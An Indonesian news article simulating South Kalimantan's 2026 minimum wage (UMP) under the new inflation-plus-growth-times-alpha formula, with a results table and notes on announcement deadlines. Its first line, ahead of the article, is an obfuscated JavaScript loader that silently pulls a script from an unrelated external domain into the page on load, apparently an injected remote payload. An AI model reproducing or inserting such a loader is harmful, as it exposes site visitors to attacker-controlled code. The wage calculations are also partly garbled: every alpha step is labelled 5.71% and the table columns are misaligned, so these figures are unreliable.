(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Presiden Prabowo Subianto telah menekan rumus perhitungan kenaikan UMP 2026 pada hari Selasa, 17 Desember 2025 lalu. Perhitungan yang telah diteken tersebut dinilai cukup berbeda dengan perhitungan kenaikan upah minimum di tahun 2025.
Hal ini disebabkan adanya penambahan indeks tertentu atau alafa dengan mempertimbangkan Kebutuhan Hidup Layak (HKL) dan kondisi ekonomi daerah. Kondisi ekonomi daerah yang dimaksud meliputi inflasi hingga ekonomi pertumbuhan.
Berdasarkan kebijakan Pemerintah Pusat, perhitungan kenaikan upah akan dirumuskan Dewan Pengupahan Daerah yang nantinya akan direkomendasikan kepada gubernur.
Sehingga, penetapan kenaikan Upah Minimum Provinsi (UMP), Upah Minimum Kabupaten/Kota (UMK), maupun Upah Minimum Sektoral Kabupaten/Kota (UMSK) akan dilakukan gubernur.
Melalui perhitungan formula yang baru ini, tentunya akan memengaruhi besaran nilai masing-masing provinsi, termasuk UMP Kalimantan Selatan. Bagaimana dengan besaran kenaikan perkiraan kenaikannya? Simak simulasi kenaikannya melalui informasi berikut ini.
Berdasarkan formula UMP 2026 yang telah disahkan Presiden Prabowo memiliki rumus ‘inflasi + (pertumbuhan ekonomi x alfa)’. Rentang nilai alfa yang telah disahkan sekitar 0,5 hingga 0,9.
Formula kenaikan UMP 2026 dirancang dari berbagai pertimbangan pemangku kepentingan. Sehingga, formula ini memungkinkan kenaikan UMP di 38 provinsi tidak seragam. Begitu pula dengan kenaikan UMP, UMK, dan UMSK di Kalimantan Selatan.
Inflasi yang telah dicatat oleh Badan Pusat Statistik Kalsel per-Oktober 2025 telah mencapai 3,11% secara tahunan (year-on-year). Sementara data terbaru dari BPS Kalsel mengenai pertumbuhan ekonomi pada Triwulan III-2025, dilaporkan mencapai 5,19%.
Berdasarkan data-data tersebut, berikut ini adalah simulasi kenaikan UMP 2026 Kalimantan Selatan.
Formula yang dibutuhkan:
Perhitungan Kenaikan persentase berdasarkan formula PP mengenai upah minimum 2026.
Kenaikan 5,71% diprediksi naik Rp199.457,92
Kenaikan 5,71% diprediksi naik Rp217.603,18
Kenaikan 5,71% diprediksi naik Rp235.748,43
Kenaikan 5,71% diprediksi naik Rp253.893,68
Kenaikan 5,71% diprediksi naik Rp272.038,93
Setelah mengetahui hasil perhitungan, hasil simulasi kenaikan UMP 2026 Kalimantan Selatan adalah sebagai berikut.
| Rentang Alfa | Kenaikan (%) | UMP Kalimantan Selatan 2025 | UMP 2026 |
| 0,5 | 5,71% | Rp3.496.195,00 | Rp3.695.652,92 |
| 0,6 | 6,22% | Rp3.713.798,18 | |
| 0,7 | 6,74% | Rp3.731.943,43 | |
| 0,8 | 7,26% | Rp3.750.088,68 | |
| 0,9 | 7,78% | Rp3.768.233,93 |
Berdasarkan tabel yang telah tersaji, hasil persentase dengan formula PP mempengaruhi nominal setiap ketetapan UMP 2026.
Apabila kenaikan yang ditetapkan hanya mencapai 5,71%, Kalimantan Selatan hanya mengalami kenaikan mencapai Rp3,6 juta. Sementara simulasi kenaikan UMP paling maksimum mencapai 7,78% dan diperkirakan mencapai Rp3,7 juta.
Baca Juga: Cek Kenaikan UMP 2026 Kalimantan di Semua Provinsi, Potensi Naik 10,5%!
Jadwal pengumuman UMP 2026 Kalimantan Selatan per tanggal 19 Desember belum diketahui secara resmi.
Namun, berdasarkan pernyataan dari Menteri Ketenagakerjaan Yassierli bertepatan peresmian formula perhitungan UMP 2026, seluruh daerah harus menetapkan kenaikan upah minimum paling lambat tanggal 24 Desember 2025.
Baca Juga: Jadwal Pengumuman UMP 2026 Resmi Pemerintah Tiap Provinsi, Simak Ketentuannya
Pengumuman UMK 2026 Kalimantan Selatan belum dipastikan akan rilis bersamaan dengan kenaikan UMP 2026.
Akan tetapi, dipastikan pengumuman UMK 2026 Kalsel akan dirilis dalam waktu dekat sebelum tanggal 24 Desember 2025 tiba.
Baca Juga: Telah Resmi! UMP 2026 Kalimantan Tengah Naik 6,12%
Upah Minimum Provinsi (UMP) Kalimantan Timur 2026 telah ditetapkan dan ditandatangani oleh Gubernur Rudy Mas’ud… Read More
KANALKALIMANTAN.COM, BANJARMASIN – Mengawali pergantian tahun, Kota Banjarmasin diguyur hujan dari pagi hingga petang, Kamis… Read More
KANALKALIMANTAN.COM, BATULICIN - Meski tanpa pertunjukan pesta kembang api, malam pergantian tahun 2025 ke 2026… Read More
KANALKALIMANTAN.COM, BANJARBARU – Pemerintah Kota (Pemko) Banjarbaru mengumumkan Upah Minimum Kota (UMK) berdasarkan Keputusan Gubernur… Read More
KANALKALIMANTAN.COM, AMUNTAI – Bupati Hulu Sungai Utara (HSU) H Sahrujani mengharapkan agar Kabupaten HSU pada… Read More
KANALKALIMANTAN.COM, PALANGKARAYA - Persatuan Wartawan Indonesia (PWI) Provinsi Kalimantan Tengah menggelar Konferensi Kerja Daerah (Konferda)… Read More
This website uses cookies.